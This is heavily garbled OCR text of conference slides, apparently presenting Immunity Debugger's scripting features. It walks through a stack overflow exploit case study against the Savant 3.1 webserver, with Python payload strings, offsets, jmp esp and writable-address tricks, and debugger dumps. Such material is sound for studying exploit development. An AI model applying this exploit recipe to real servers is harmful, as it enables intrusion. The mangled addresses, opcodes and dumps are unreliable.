76A61BAA Function pointer [51: Bx767chfdd
769CBEDS |RPC SERUER IMTERFACE find at: Bx76%9chedf
RPC UUID: 4825ea41-51e3—4c2a—8406—-8f2d2698395F (vl .@>
769CCA38 |RPC SERUER INTERFACE find at: BxV69ccH3f
RPC UUID: 4825ead4l1-51e3—4c2a—8486-8f2d2698395F <vl.@>
P6ABFA?D | Function[B@]: Bx76a8fa%d
P6AAFBFS | Functionl[1]1: Bx76aBfhfs
P6A61B14 |Function pointer [B1: Bx76a5d878
P6A61B18 |Function pointer [1]1: Bx76a5dB78
F69CC183 | HPC SERUER INTERFACE find at: Bx76%cclBd
RPC UUID: 326731e3-—clch—4ab?—ae2B-"?d?844adeabc (vl . @)

I!getrpc USERENY.dII

| Faund 4 interfaces on LISEREMY Il
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Script : duality

Log data

* Duality

- Looks for mapped address that
can be 'transformed' into
opcodes

I!dualityjmp esp
|Addresses founded: 71 [Check the Log Window) 54




Script : Finding Function Pointers

* !modptr <address>

— this tool will do data type recognition looking for all
function pointers on a .data section, overwriting them
and hooking on Access Violation waiting for one of
them to trigger and logging it
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Script : CRYPT SEARCH

 Isearchcrypt address range

— Search for cryptographic routines in given range

BR4FRZFB| Const Found:

AE4FEA4
ARS4E[E: ;
AA4E7A2F | Const Found:

Isearchcrypt -f 000450000 -t 0x00551000
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Stack Overtlow

e Savant webserver
(savant.sourceforge.net)

e Stack overflow when sent long get
request

evilstring="\x41" * 284

buf = "GET /%s HTTP/l.0\r\nContent-Length: %d\r\n\r\n%s"

% ( evilstring, 0x30, "B" * 0x30)
send (burf)

however...

Case Study: Savant 3.1
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Case Study: Savant 3.1
First problem

* Overwritten stack arguments won't
allow us to reach EIP

mtwhocPk©bzr v Want to get paid bo do this? Emplovment opportanities w.

A 17264 | IEEEE HOW AL, EYTE FTR DS LEDR] ; eqict (FFL
BEairzes | . 42 THC ECN R
ABdirzer | o SABL CHF AL, BY¥TE FTR DS: [ECHI ey R ——
BEd17265 | -~7E Ea SHORT Savant.Bodlresd
41414141

BE417eeE | o 41 IHC ECY pidtaldl
a1 oet | P4 Eo 0 SHoRT < BE41 7E5R BEFSELT4

™ avant . (1] 1
BE417278 | . FPCZ 020008 TEST EDX,Z o SEn=E HSCIL " HARRRRRRARAARRARARAAR
AE417E7E | o7 bE SHORT Savant.BE417226 EEErR
AEdirers | b 6e:oEEs HOU B, WORD FTR DS: [EDRI
BEd1TETE | o 250z GE OO EDG, 2 BE41TE64 Sausnt.BE41TEED
AE417E7E | o ZABL CHE AL, BYTE PTR DS: [ECHI
BE417z0E | -~75 Oz SHORT Sauant.B8d17004 Szbit BIFFFFFEFF)

Z5hit BiFFFFFFFF)
aE4i7zes | o BACE OF AL, AL SEpLT BLEERREEEE)
BE417284 | -~74 CA SHORT Sauant.@B417250 ZEplt DLEERREFEE)
BE4irzes | . SRl B1 CHF AH, BY¥TE FTR DS: [ECH+11 Seplr BIEFEFEEREL
AE417zES | -~7E Lo SHORT Savant. D641 7254 SanL
Sgi%;ggg . EHE41 o5 EH&E¥ = BE4 1 72ER

. avant.
goalrzsl | - i ERROR_SUCCESS ( POBROEEE)
aadireas L. SHORT Savant.B0417220 BEERA2EZ MO, ME, ME, A, NS, PO, GE, &)

SS:%;EEE empty =TT FFFF DEAEBEEE BE1FBEES

BE41 7295 empty —UMORM FBEC BA1ZFAZE FYFAS1AS
BE41 7297 empty —UMORM FBEC BA1ZFEBEC BE1ZFA3C
AE4172as Log data » empty —7.419147006EF4R2 742400 +4572
AEd]FE99 = empty —UHMORM EEDE 48068050 BE1286EH
ress =3 B, 820415691 157 19684870=-4233

Ty
3341?2"5“:] L s LI =2y Ll oS Wl LG L e L L Emp +|
HE41 7298 vC4E2824 | Mew thread with I0D BEEEE454 created gmgﬁﬂ +HHBEH Sgé% SSEESS%E SSSESEE%

a841 7230 BA417264  Aocess wiolation when reading [414141417 2218 EsFPLOZDOI
O T O O O O O O M =

— 0 T Y -7 O O O v Y =Y
Add; =H dum SC HEF SEREC Hv=., RASCII "BARARARARRARAR™
AA4SARER HEFZERFE 48 Eei, ASCII "C:s~Savant~Root"™
ARG SHAES & Al ARAFECEE> =@, RETURM to Savant.8848C2F2 from Savant.B8684172
HE4SAA LA ABFZERTYE 41414141 AARA
AR4Z2AALE HHFZEM T HEFEVSED enl ASCIT GET™
HE4SAE2E BAFSERASH BEE08EE1 B...
88439828 HEF3ERSS EBBB4B?8 GIEG,




to p!

Case Study: Savant 3.1

First problem
e So we need to find a readable address

ace as the argument there....

e Anc
writ

CPU - thread 00000514, module Say:

| we'll face the second argument: a
able address
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Case Study: Vant 3.1

To hit EIP:
— A readable address

— A writable address

— The arguments offsets 1n our evilstring:

evilstring="\x41" * 284

buf = "GET /%s HTTP/1l.0\r\nContent-Length: %d\r\n\r\nss" \
% ( evilstring, 0x30, "B" * 0x30)

send (buf)
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Finding the offsets...
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Case Study: Savant 3.1

We get something like this:

L Wk |

evilstring="\xcc" * 2g&7

evilstring+="\x42\x42\x42\x42" # EIP
evilstring+="\x20\xe0\xfd\x7f" #7£fde020 + 24h writable
arg

evilstring+="\x20\x60\xfd\x7f" #7f£de020 readable

—

evilstring+="\xcc" * ©

And with the arguments 1ssue solved |
we are able to cleanly hit EIP

arg
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 Once we hit EIP, 1n detail we have control over:
- EBP value

— EIP value (of course)
— What ESP points to (1 argument)
— What ESP + 4 points to (2 argument)

— More than 200 bytes buffer starting at [EBP — 104H]
to [EBP - 8H]
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Registers [

Case Study: Savant 3.

FFL <
5]

And with this context, the
first thing one would think
1S:

B B

we need to jump back,

\

What ESP

but how? points to

Second Problem....

_

M
M
+
+
+
+
+
+
+
+
+
+
+
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“

Case Study: ant 3.1

Since we are controlling what ESP points to, what 1f we
could find an address to place as the overwritten
argument, which:

— Is writable [remember first problem]

— Can be “transformed” into opcodes that would be of use
here...like a 'jmp -10' (to land into our controlled buffer)
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Case Study: ant 3.1

Finding an address with these characteristics might be
pretty tedious...or a matter of seconds using one of the
Immunity Debugger scripts we talked a few minutes
ago: Duality

|![Iuality jmp-10

Addhesses founded: 69 (Check the Log Window)
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Case Study: Vant 3.1

How duality works:

— Create a mask of the searched code [jmp -10]

— Get all mapped memory pages

— Find all addresses that match our masked searchcode

- Log results:

Log data

Hddre=s= |Message

What: Gx l1l1|-1|-11-l1|-|: -

H1 4FHEE Found: @&
FSA3FEER| Found: &
i Founds:
i Founds:
i Founds:
3| Founds
: Found:
Al i Founds:
“FFDFHEE Found:
FreaFBER| Found:
.L4EFUEE Found: H ]
EfEEF@EE Found: Gx77b2fBeb

Jmp —18

1 data
1 L tERT

1

1 «data
L hEMHT
| W CEIC

]
1 L TERT
1« LEHT

« DTpz
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Case Study: Savant 3.1

Almost there:

— Before finishing crafting our evilstring with the brand new
transformable address we'll need to find a ymp esp for EIP:

e Searchcode script will do that in a quick and easy way

SWIMAT-swstem32~COMCTLSZ. OLL]

QN

Found j

I!s&archcude jmp esp
| Found 48 address [Check the Log Windows for details)
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Resume:

— Bypassed arguments problem
- Hit EIP

— Searched for a writable address that can be transformed into
a desired opcode (0x7{tdf0eb)

— Searched for a ymp esp (0x74fdec63)
— Crafted the string:

evilstring="\xcc" * 2&7

evilstring+="\x63\xee\xfd\x74" # EIP (Jmp esp)

evilstring+="\xeb\xfO\xfd\x7f" #7ffdfleb (writable address (transformed a jmp -10))
evilstring+="\xc3\x12\xfd\x74" #arg2 (readable address)

—

evilstring+="\xcc" * &
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-'- Immunity Debugger - Savant.exe _lg ﬂ

File “iew Debug Plugins Immlib Options ‘Window Help Jobs
? Wiant to get paid to do this? Emplovment opportunities with Tl benefits In 2 foca

M EE X I M ] emtw
CPU - thread 00000754 =101 x|

BEFSEQCE R THTZ p— {FPU
BEFZEASS BREA ADD BYTE PTR DSz [EAXI, AL :

BAFSEASE ADD_BYTE PTR DS: [ERKI, AL AAFSFFAG

BEF3ERSS
BEFZERED
BEFZEREA
BEFZERCE
BEFSEREC

ARESCOEE

HEF2EASF
HEAF3IEAS L

L
L gy [

HAFZERGS
HAFZERGT
HEAFIERSD
BAFZERGA
BAFZEAGE
BAFZERGC
BAFZEACD
BAFZEAGE
BOFZEARTE
BEF3EAT 1
BEFSEATE
BEFSEATE
BEFSEATT
BEFSEATS
HAFZEARTE
HAFZERYD
HAFZEAYF
HAF3IEAZ L

Address

BE43ABEE
BE43ABEE
BE43AE16
BR43A618
AE42ABZA
HE43ABZE
HE43AB3A
HE43AB3E
HE43AE4E
HE43AE4E
HE43AB5A
HA43AB5E
HR43ABEA
HR43ABGE
HE43AB7A
BE43AETE
BE43AB2E
BE43AB2E
BE43AE2E
BE43AE2E
BE43ABAE
HE43ABAS
HE43ABER
HE43ABES
HE43ABCHA
HE43ABCE
HE43AB0A
BE43AB0S
HE43ABER
HA43ABES
HA43ABFA
HA43ABFS
BE43A 166
BE43A162

; dump

GE
GE
GE
GE
S]]
S]]
S]]
S]]
S]]
S]]
[S15]
[S15]
[S15]
[S15]
[S15]
[S15]
GE
GE

GE
GE
GE
GE
515
[5]5]
[5]5]
[5]5]
[5]5]
[5]5]
S]]
S]]
S]]
S]]
S]]
[51]
GE
GE

INTZ
ARFL SI,EF
=T0
SHORT BAFZER4C

Foy [ A L e P

HE4IFESE
BRSH4E92
BEFZEAGA
CCCCCCCC
BRSH4E92
BECEEEE 1

BEFZEASZ

Savant . 0E43FEBA

- @i FFFFFFFF}
- @i FFFFFFFF)

EH, CH
SHORT BaF2ER3S
MT2

:[ERXI, AL

:[ERx], @

:[EAX], AL
:[EAX], AL
:[EAX], AL
:[ERKI, AL
:[ERKI, AL
:[ERKI, AL
:[ERKI, AL

LastErr

if B(FFFFFFFF)
if B(FFFFFFFF)
if PFFOE@EGE(FFF)

HEOEEZ1Z2 (HO,HE,HE.A, M5, PO, GE, 51

empty
empty
empty
empty
empty
empty
empty
empty

HEF2EAZ4
BEF3ERZE
BEF3ERZC
BEF3ERZE
BEF3ERA34
BEF3ER32
BEF3ERAZC
BEF2ER4E
BEF3ER44
BEF3ER42
BEF3ER4LC
BEFZERSE
BEFSEASY

BEF SERSE
RRE JEOC

oYY Y o]
LR e P

BEF3ERGE
BEF3ERGC
BEF3ERTE
BEF3ERTS
BEF3ERTE
BEF3ERTC
BEF3ERZE
BEF3EAZ4
BEF3ERAZE2
BEF3ERZC
BEF3EAYE
BEF2SEA34
BEFZERASE
BEFSEAIC
BEFSERRE
BEFSEARY
HEF2EAAZ
BEF3ERAC

[k HE[

=777 FF-F BEEE0E0E G0 1Fa8E2
-UMORM [FBEC BE1ZFAZ0 FYFAZ1AZ
—UMORM [FBEC BE1Z2FBEC OE12FA3C
-7 41IRFIEA 4R 74234 30 +457 2
—UMNORM 2508 4880E050 00120088
6. 8268415691 1571968467 Be—4933
+UHORM 812 BEE0EIED GEEEGEEY
+UHORM [EEz BE34081C BEEZEECE
== ESFPUDZ

P R R

=

i Sl

ERROG_ALREADY_EXISTS (@@88E8E7)

CCCCCC
CCCCCCOC
CCCCCCOC
CCCCCCOC
CCCCCCOC
CCCCCCOC
CCCCCCOC
CCCCCCOC
CCCCCCOC

SrarArarararar

Srarorrrararar

T

T Ar Ar Ar ar ar—r
Srararorararararar

=

T
=

ﬂ
=

=

T
T
T

=

e
rlrlFIF

CCCCCCCC IFIFIFIF

FAEOEEES _ceit meafd, F4FOEEES
FYFFOFBEE &=%d&
T oresg e rwsafd. T4F0O1 203
CECCECCE |FIFIFIF

HEARECCCC |FF. -
HASE4E9S GEG,
HEREREARR | ...
HEREREAR | ...
HEREAEAR ...
BEREABRAR ...
BEREABRAR ...
BEREABRAR ...
BEREABRAR ...
BERERBRAR | ...
BEAREEEE ...
BEAREEEE ...
BEAREEEE ...
BEAREEEE ...
BEAREEEE ...
BEABAEAR | ...
HEREREAR | ...

HE A F A




e [D wont

- Ttwill s

— Will hel

Conclusions
give you an out-of-box exploit (yet) but:

need up debugging time (gui + commandline)
p you finding the bug (API + libs + scripts)

— Will hel
e D i1s not

p you crafting your exploit (make 1t reliable!)

a proof-of-concept application (it has been

used for months successtully by our vuln-dev team)
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Spinning in my head...
* API server, to connect to VisualSploit, Canvas,
fuzzers, or whichever application

 More graphing stuff, including interaction with the
generated graph

e Tons of pycommands

* Your script here

Meanwhile....
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Download Immunity Debugger now!

Get 1t free at:

http://debugger.immunityinc.com

Comments, scripts, ideas, requests:

dami@immunityinc.com
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